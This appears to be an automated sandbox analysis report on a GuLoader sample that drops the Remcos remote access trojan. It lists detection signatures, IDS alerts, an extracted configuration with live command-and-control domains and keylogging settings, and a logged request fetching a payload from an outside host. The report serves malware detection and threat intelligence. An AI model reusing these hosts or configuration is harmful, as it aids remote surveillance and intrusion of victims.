Edit tour

Windows Analysis Report
IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Overview

General Information

Sample name:	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
Analysis ID:	1554912
MD5:	a03dcb82d6ecaab34cc6ae971a806c06
SHA1:	3bf367387ad278b154bd2af42e7bedf0f8676f6c
SHA256:	4fc786009ad36ded81dfbd863802b06436b718112c35a505d447f6e0d31cbf8d
Tags:	exeGuLoaderuser-sdf
Infos:

Detection

Remcos, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected Remcos RAT

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Remcos RAT

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Installs a global keyboard hook

Sigma detected: New RUN Key Pointing to Suspicious Folder

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Uses dynamic DNS services

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

IMG635673567357735773573757875883587935775753Bjlkeloftet.exe (PID: 6640 cmdline: "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe" MD5: A03DCB82D6ECAAB34CC6AE971A806C06)

IMG635673567357735773573757875883587935775753Bjlkeloftet.exe (PID: 1076 cmdline: "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe" MD5: A03DCB82D6ECAAB34CC6AE971A806C06)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["odumegwu.duckdns.org:51525:1", "odumeje1.duckdns.org:51525:0", "odumeje.duckdns.org:51525:1"], "Assigned name": "LoneWolf", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-3DX9QW", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\remcos\logs.dat	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2910026299.00000000354EE000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2056638671.000000000433E000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe PID: 1076	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, ProcessId: 1076, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Startup key

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, ProcessId: 1076, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Startup key

Stealing of Sensitive Information

Sigma detected: Remcos

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, ProcessId: 1076, TargetFilename: C:\ProgramData\remcos\logs.dat

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T08:18:17.236404+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.4	49730	TCP
2024-11-13T08:18:56.325500+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.4	49738	TCP

ET JA3 Hash - Remcos 3.x/4.x TLS Connection

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T08:19:03.195468+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49755	192.169.69.26	51525	TCP
2024-11-13T08:19:04.926316+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49765	192.169.69.26	51525	TCP
2024-11-13T08:19:06.827743+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49776	192.169.69.26	51525	TCP
2024-11-13T08:19:08.401107+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49784	192.169.69.26	51525	TCP
2024-11-13T08:19:10.382922+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49799	192.169.69.26	51525	TCP
2024-11-13T08:19:11.936170+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49810	192.169.69.26	51525	TCP
2024-11-13T08:19:13.772123+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49822	192.169.69.26	51525	TCP
2024-11-13T08:19:15.349074+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49830	192.169.69.26	51525	TCP
2024-11-13T08:19:17.218929+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49842	192.169.69.26	51525	TCP
2024-11-13T08:19:18.829600+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49853	192.169.69.26	51525	TCP
2024-11-13T08:19:20.612797+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49865	192.169.69.26	51525	TCP
2024-11-13T08:19:22.253068+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49876	192.169.69.26	51525	TCP
2024-11-13T08:19:24.028266+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49887	192.169.69.26	51525	TCP
2024-11-13T08:19:25.653490+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49899	192.169.69.26	51525	TCP
2024-11-13T08:19:27.445484+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49910	192.169.69.26	51525	TCP
2024-11-13T08:19:29.114785+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49922	192.169.69.26	51525	TCP
2024-11-13T08:19:30.896084+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49933	192.169.69.26	51525	TCP
2024-11-13T08:19:32.578941+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49944	192.169.69.26	51525	TCP
2024-11-13T08:19:34.374861+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49956	192.169.69.26	51525	TCP
2024-11-13T08:19:36.035665+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49966	192.169.69.26	51525	TCP
2024-11-13T08:19:38.188926+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49978	192.169.69.26	51525	TCP
2024-11-13T08:19:39.949409+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	49991	192.169.69.26	51525	TCP
2024-11-13T08:19:41.813064+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50001	192.169.69.26	51525	TCP
2024-11-13T08:19:43.467073+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50011	192.169.69.26	51525	TCP
2024-11-13T08:19:45.250177+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50022	192.169.69.26	51525	TCP
2024-11-13T08:19:46.795133+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50033	192.169.69.26	51525	TCP
2024-11-13T08:19:48.651600+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50043	192.169.69.26	51525	TCP
2024-11-13T08:19:50.222483+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50045	192.169.69.26	51525	TCP
2024-11-13T08:19:52.106671+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50046	192.169.69.26	51525	TCP
2024-11-13T08:19:53.685122+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50048	192.169.69.26	51525	TCP
2024-11-13T08:19:55.544309+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50049	192.169.69.26	51525	TCP
2024-11-13T08:19:57.283983+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50051	192.169.69.26	51525	TCP
2024-11-13T08:19:59.104861+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50052	192.169.69.26	51525	TCP
2024-11-13T08:20:00.760644+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50054	192.169.69.26	51525	TCP
2024-11-13T08:20:02.576299+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.4	50055	192.169.69.26	51525	TCP

ET MALWARE Remcos 3.x Unencrypted Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T08:19:03.345502+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49760	192.169.69.26	51525	TCP
2024-11-13T08:19:06.835426+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49782	192.169.69.26	51525	TCP
2024-11-13T08:19:10.391282+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49805	192.169.69.26	51525	TCP
2024-11-13T08:19:13.781011+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49825	192.169.69.26	51525	TCP
2024-11-13T08:19:17.226763+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49847	192.169.69.26	51525	TCP
2024-11-13T08:19:20.620211+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49870	192.169.69.26	51525	TCP
2024-11-13T08:19:24.036167+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49893	192.169.69.26	51525	TCP
2024-11-13T08:19:27.454454+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49916	192.169.69.26	51525	TCP
2024-11-13T08:19:30.903882+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49938	192.169.69.26	51525	TCP
2024-11-13T08:19:34.382169+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49961	192.169.69.26	51525	TCP
2024-11-13T08:19:38.196639+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	49985	192.169.69.26	51525	TCP
2024-11-13T08:19:41.820131+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	50006	192.169.69.26	51525	TCP
2024-11-13T08:19:45.257645+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	50028	192.169.69.26	51525	TCP
2024-11-13T08:19:48.660482+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	50044	192.169.69.26	51525	TCP
2024-11-13T08:19:52.115382+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	50047	192.169.69.26	51525	TCP
2024-11-13T08:19:55.552303+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	50050	192.169.69.26	51525	TCP
2024-11-13T08:19:59.112616+0100	2032776	1	Malware Command and Control Activity Detected	192.168.2.4	50053	192.169.69.26	51525	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T08:18:54.017024+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49736	91.196.125.125	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe

Avira: detection malicious, Label: HEUR/AGEN.1337950

Found malware configuration

Source: 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": ["odumegwu.duckdns.org:51525:1", "odumeje1.duckdns.org:51525:0", "odumeje.duckdns.org:51525:1"], "Assigned name": "LoneWolf", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-3DX9QW", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe

ReversingLabs: Detection: 28%

Multi AV Scanner detection for submitted file

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	ReversingLabs: Detection: 28%
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Virustotal: Detection: 16%			Perma Link

Yara detected Remcos RAT

Source: Yara match	File source: 00000004.00000002.2910026299.00000000354EE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe PID: 1076, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 91.196.125.125:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_00405A4F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405A4F
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_00406620 FindFirstFileA,FindClose,	0_2_00406620
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_004027CF FindFirstFileA,	0_2_004027CF
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_00405A4F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_00405A4F
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_00406620 FindFirstFileA,FindClose,	4_2_00406620
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_004027CF FindFirstFileA,	4_2_004027CF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49760 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49755 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49765 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49782 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49776 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49784 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49799 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49810 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49822 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49830 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49842 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49805 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49853 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49847 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49825 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49865 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49870 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49887 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49876 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49893 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49910 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49916 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49922 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49938 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49944 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49899 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49933 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49961 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49956 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49966 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49985 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49978 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50001 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50006 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49991 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50022 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50028 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50011 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50033 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50051 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50046 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50055 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50047 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50045 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50050 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50048 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50049 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50043 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50053 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50052 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:50054 -> 192.169.69.26:51525
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50044 -> 192.169.69.26:51525

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: odumegwu.duckdns.org
Source: Malware configuration extractor	URLs: odumeje1.duckdns.org
Source: Malware configuration extractor	URLs: odumeje.duckdns.org

Uses dynamic DNS services

Source: unknown	DNS query: name: odumeje.duckdns.org
Source: unknown	DNS query: name: odumegwu.duckdns.org
Source: unknown	DNS query: name: odumeje1.duckdns.org

Source: Joe Sandbox View	IP Address: 192.169.69.26 192.169.69.26
Source: Joe Sandbox View	IP Address: 192.169.69.26 192.169.69.26

Source: Joe Sandbox View

ASN Name: WOWUS WOWUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 91.196.125.125:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.4:49738

Source: global traffic	HTTP traffic detected: GET /zjMSeQNkb41.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: bdias.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zjMSeQNkb41.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: bdias.comCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
